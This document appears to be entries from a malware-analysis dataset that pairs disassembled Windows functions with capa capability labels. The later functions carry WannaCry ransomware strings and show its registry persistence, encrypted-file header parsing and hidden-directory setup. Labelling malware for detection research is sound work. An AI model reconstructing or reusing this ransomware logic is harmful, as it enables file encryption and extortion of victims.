joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406d70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406ea8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x406e92
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
je 0x406dcd
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x406e92
cmp dword [ebp - 0x10], 0
jne 0x406de2
mov eax, dword [ebp - 8]
call fcn.00403198
mov bl, 1
jmp 0x406e92
cmp dword [ebp - 0x10], 0x70000000
jb 0x406df0
call fcn.004057d4
mov esi, dword [ebp - 0x10]
test esi, esi
sar esi, 0
lea eax, [ebp - 0x14]
mov ecx, esi
xor edx, edx
call fcn.00403278
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
call fcn.00403420
push eax
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExA
cmp eax, 0xea
je 0x406d96
test eax, eax
jne 0x406e92
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
je 0x406e40
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x406e92
mov esi, dword [ebp - 0x10]
test esi, esi
sar esi, 0
jmp 0x406e4b
dec esi
test esi, esi
je 0x406e59
mov eax, dword [ebp - 0x14]
cmp byte [eax + esi - 1], 0
je 0x406e4a
cmp dword [ebp - 0xc], 7
jne 0x406e64
test esi, esi
je 0x406e64
inc esi
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.004034f0
cmp dword [ebp - 0xc], 7
jne 0x406e85
test esi, esi
je 0x406e85
lea eax, [ebp - 0x14]
call fcn.00403420
mov byte [eax + esi - 1], 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
call fcn.004031e8
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406eaf
lea eax, [ebp - 0x14]
call fcn.00403198
ret

Function at 0x4077f0
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40c55c
mov eax, esi
mov edx, 8
test al, 1
je 0x40780c
shr eax, 1
xor eax, 0xedb88320
jmp 0x40780e
shr eax, 1
dec edx
jne 0x4077ff
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4077f8
pop esi
ret

Function at 0x407824
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40c558], 0
jne 0x407847
call fcn.004077f0
push 1
push 0x40c558
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x407872
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40c55c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x40784d
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x408ee0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408e94
test al, al
jne 0x408f01
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x408f4d
xor eax, eax
push ebp
push 0x408f3d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403414
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408f44
lea eax, [ebp - 0xc]
call fcn.00408ed0
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409254
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x409343
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406c54
mov edx, dword [ebp - 8]
mov ecx, 0x40935c
xor eax, eax
call fcn.00409148
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x409311
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x409274
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.00408cfc
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404be4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.004071e4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x60
call fcn.00408ccc
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x4045b0
call fcn.004057e0
call fcn.00402eb4
jmp 0x409274
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40934a
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.004031b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004031b8
ret

Function at 0x40936c
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
cmp dword [0x40b07c], 2
jne 0x4093d3
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x40938e
xor eax, eax
jmp 0x4093e2
lea eax, [esp + 8]
push eax
push 0x4093e8
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x4093d3
xor eax, eax
jmp 0x4093e2
push 0
push 2
call sub.user32.dll_ExitWindowsEx
neg eax
sbb eax, eax
neg eax
add esp, 0x14
ret
Function at 0x4093fc
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x409456
inc esi
xor edi, edi
cmp edi, 1
jne 0x409422
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x409430
cmp edi, 1
jle 0x409430
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00408ee0
test eax, eax
jne 0x409456
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x409456
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x409456
inc edi
dec esi
jne 0x409412
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x4096e8
Capabilities:
Identify system language via api

Disassembly:
push ebx
push esi
push edi
push ebp
cmp dword [0x40cca4], 0
je 0x409731
mov edi, dword [0x40cddc]
dec edi
test edi, edi
jl 0x409731
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cdd8]
mov edx, dword [edx + eax]
mov eax, dword [0x40cca4]
call fcn.00404b90
test eax, eax
jne 0x40972d
mov eax, esi
call fcn.0040969c
jmp 0x4097f6
inc esi
dec edi
jne 0x409703
mov al, byte [0x40cdc4]
sub al, 1
jb 0x40973e
je 0x409747
jmp 0x409750
call fcn.00406f84
mov ebp, eax
jmp 0x409752
call sub.kernel32.dll_GetUserDefaultLangID
mov ebp, eax
jmp 0x409752
xor ebp, ebp
test bp, bp
je 0x4097ef
mov edi, dword [0x40cddc]
dec edi
test edi, edi
jl 0x40979e
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cdd8]
lea ebx, [edx + eax]
movzx eax, bp
cmp eax, dword [ebx + 0x28]
jne 0x40979a
cmp dword [ebx + 0x2c], 0
je 0x409791
call sub.kernel32.dll_GetACP
cmp eax, dword [ebx + 0x2c]
jne 0x40979a
mov eax, esi
call fcn.0040969c
jmp 0x4097f6
inc esi
dec edi
jne 0x409769
mov edi, dword [0x40cddc]
dec edi
test edi, edi
jl 0x4097ef
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cdd8]
lea ebx, [edx + eax]
mov eax, dword [ebx + 0x28]
and eax, 0x3ff
mov edx, ebp
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x4097eb
cmp dword [ebx + 0x2c], 0
je 0x4097e2
call sub.kernel32.dll_GetACP
cmp eax, dword [ebx + 0x2c]
jne 0x4097eb
mov eax, esi
call fcn.0040969c
jmp 0x4097f6
inc esi
dec edi
jne 0x4097ac
xor eax, eax
call fcn.0040969c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
push edi
je 0x401011
push 0x40e01c
jmp 0x401016
push 0x40e018
push str.c.wnry
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
pop ecx
cmp edi, esi
pop ecx
jne 0x40102d
xor eax, eax
jmp 0x401061
cmp dword [esp + 0x10], esi
push edi
push 1
push 0x30c
push dword [esp + 0x18]
je 0x401047
call dword [sym.imp.MSVCRT.dll_fread]
jmp 0x40104d
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x401057
push 1
pop esi
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov eax, esi
pop edi
pop esi
ret

Function at 0x401064
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], 0x44
xor esi, esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 1
lea eax, [ebp - 0x10]
pop edi
mov word [ebp - 0x24], si
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
mov dword [ebp - 0x28], edi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4010f7
cmp dword [ebp + 0xc], esi
je 0x4010e3
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4010d2
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0x10], esi
je 0x4010e3
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov eax, edi
jmp 0x4010f9
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4010fd
Capabilities:
Get common file path
Query or enumerate registry value
Set current directory
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push esi
push edi
push 5
mov esi, str.Software_
pop ecx
lea edi, [ebp - 0xd4]
rep movsd dword es:[edi], dword [esi]
push 0x2d
xor eax, eax
and byte [ebp - 0x2dc], al
pop ecx
lea edi, [ebp - 0xc0]
and dword [ebp - 4], 0
rep stosd dword es:[edi], eax
mov ecx, 0x81
lea edi, [ebp - 0x2db]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xd4]
push str.WanaCrypt0r
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
and dword [ebp - 8], 0
pop ecx
pop ecx
mov edi, 0x40e030
lea eax, [ebp - 4]
xor esi, esi
cmp dword [ebp - 8], esi
push eax
lea eax, [ebp - 0xd4]
push eax
jne 0x401175
push 0x80000002
jmp 0x40117a
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp dword [ebp - 4], esi
je 0x40120d
cmp dword [ebp + 8], esi
je 0x4011cc
lea eax, [ebp - 0x2dc]
push eax
push 0x207
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x2dc]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x2dc]
push eax
push 1
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
jmp 0x401200
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x207
push eax
lea eax, [ebp - 0x2dc]
push eax
push esi
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
je 0x401200
lea eax, [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401220
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x40115c
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x40121c
Function at 0x401225
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov ax, word [0x40f874]
push ebx
push esi
push edi
push 0x63
mov word [ebp - 0x198], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x196]
mov dword [ebp - 8], 0x18f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x198]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov esi, dword [sym.imp.MSVCRT.dll_wcslen]
and dword [ebp - 4], 0
push 1
lea eax, [ebp - 0x198]
pop ebx
push eax
call esi
test eax, eax
pop ecx
jbe 0x4012a0
lea edi, [ebp - 0x198]
movzx eax, word [edi]
imul ebx, eax
inc dword [ebp - 4]
lea eax, [ebp - 0x198]
inc edi
push eax
inc edi
call esi
cmp dword [ebp - 4], eax
pop ecx
jb 0x401286
push ebx
call dword [sym.imp.MSVCRT.dll_srand]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
pop ecx
call ebx
push 8
xor edi, edi
cdq
pop ecx
idiv ecx
mov esi, edx
add esi, ecx
test esi, esi
jle 0x4012d6
call ebx
push 0x1a
cdq
pop ecx
idiv ecx
mov eax, dword [ebp + 8]
add dl, 0x61
mov byte [edi + eax], dl
inc edi
cmp edi, esi
jl 0x4012c0
add esi, 3
cmp edi, esi
jge 0x4012f1
call ebx
push 0xa
cdq
pop ecx
idiv ecx
mov eax, dword [ebp + 8]
add dl, 0x30
mov byte [edi + eax], dl
inc edi
jmp 0x4012d9
mov eax, dword [ebp + 8]
and byte [edi + eax], 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4014a6
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4081e0
push 0x4076f4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x23c
push ebx
push esi
push edi
mov esi, ecx
or dword [ebp - 0x248], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x23c], bl
xor eax, eax
lea edi, [ebp - 0x23b]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x248], edi
cmp edi, 0xffffffff
je 0x4016d0
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp dword [ebp - 0x20], ebx
jg 0x4016d0
jl 0x401547
cmp dword [ebp - 0x24], 0x6400000
ja 0x4016d0
push ebx
lea eax, [ebp - 0x1c]
push eax
push 8
lea eax, [ebp - 0x23c]
push eax
push edi
call dword [0x40f880]
test eax, eax
je 0x4016d0
push 8
push str.WANACRY_
lea eax, [ebp - 0x23c]
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x4016d0
push ebx
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x244]
push eax
push edi
call dword [0x40f880]
test eax, eax
je 0x4016d0
mov eax, 0x100
cmp dword [ebp - 0x244], eax
jne 0x4016d0
push ebx
lea ecx, [ebp - 0x1c]
push ecx
push eax
push dword [esi + 0x4c8]
push edi
call dword [0x40f880]
test eax, eax
je 0x4016d0
push ebx
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x240]
push eax
push edi
call dword [0x40f880]
test eax, eax
je 0x4016d0
push ebx
lea eax, [ebp - 0x1c]
push eax
push 8
lea eax, [ebp - 0x234]
push eax
push edi
call dword [0x40f880]
test eax, eax
je 0x4016d0
cmp dword [ebp - 0x230], ebx
jg 0x4016d0
jl 0x401623
cmp dword [ebp - 0x234], 0x6400000
ja 0x4016d0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 0x244]
push dword [esi + 0x4c8]
lea ecx, [esi + 4]
call fcn.004019e1
test eax, eax
je 0x4016d0
lea edi, [esi + 0x54]
push 0x10
push dword [ebp - 0x2c]
push dword [0x40f578]
lea eax, [ebp - 0x22c]
push eax
mov ecx, edi
call fcn.00402a76
push dword [ebp - 0x234]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x28], eax
cmp eax, ebx
je 0x4016d0
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
push dword [esi + 0x4c8]
push dword [ebp - 0x248]
call dword [0x40f880]
test eax, eax
je 0x4016d0
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x4016d0
cmp ebx, dword [ebp - 0x230]
jg 0x4016b1
jl 0x4016d0
cmp eax, dword [ebp - 0x234]
jb 0x4016d0
push 1
push eax
mov ebx, dword [ebp - 0x28]
push ebx
push dword [esi + 0x4c8]
mov ecx, edi
call fcn.00403a77
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x234]
mov dword [eax], ecx
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll__local_unwind2
pop ecx
pop ecx
mov eax, ebx
jmp 0x4016f9
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4018f9
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4081f0
push 0x4076f4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
or dword [ebp - 0x28], 0xffffffff
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], esi
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
je 0x4019a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, 0xffffffff
je 0x4019a0
cmp edi, 0x19000
ja 0x4019a0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, esi
je 0x4019a0
push esi
lea eax, [ebp - 0x1c]
push eax
push edi
push ebx
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4019a0
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp - 0x1c]
push ebx
push dword [ebp + 8]
call dword [0x40f898]
test eax, eax
je 0x4019a0
push 1
pop esi
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll__local_unwind2
pop ecx
pop ecx
mov eax, esi
jmp 0x4019d2
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401af6
Capabilities:
Create directory
Get file attributes
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
push 0
push dword [ebp + 8]
call esi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call edi
test eax, eax
je 0x401b27
mov ebx, dword [ebp + 0xc]
push 0
push ebx
call esi
push ebx
call edi
test eax, eax
jne 0x401b2b
xor eax, eax
jmp 0x401b5a
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or al, 6
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp + 0x10], 0
je 0x401b57
push ebx
push dword [ebp + 8]
push 0x40eb88
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0x10
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401b5f
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d8
mov dx, word [0x40f874]
push esi
mov esi, 0x81
push edi
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x4d6]
mov word [ebp - 0x4d8], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x2ce]
mov word [ebp - 0x2d0], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x31
xor eax, eax
pop ecx
lea edi, [ebp - 0xc6]
mov word [ebp - 0xc8], dx
push 0x63
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xc8]
push eax
push 0xffffffffffffffff
push 0x40f8ac
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, 0x104
lea eax, [ebp - 0x4d8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.MSVCRT.dll_swprintf]
and word [ebp - 0x4d4], 0
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x2d0]
push str._sProgramData
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401c40
push dword [ebp + 8]
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.00401af6
add esp, 0xc
test eax, eax
je 0x401c40
push 1
pop eax
jmp 0x401ce4
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x2d0]
push str._sIntel
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.00401af6
add esp, 0x18
test eax, eax
jne 0x401c38
push dword [ebp + 8]
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x4d8]
push eax
call fcn.00401af6
add esp, 0xc
test eax, eax
jne 0x401c38
lea eax, [ebp - 0x2d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.MSVCRT.dll_wcsrchr]
lea eax, [ebp - 0x2d0]
push 0x5c
push eax
call esi
pop ecx
test eax, eax
pop ecx
je 0x401cc5
lea eax, [ebp - 0x2d0]
push 0x5c
push eax
call esi
and word [eax], 0
pop ecx
pop ecx
push dword [ebp + 8]
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.00401af6
add esp, 0xc
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
leave
ret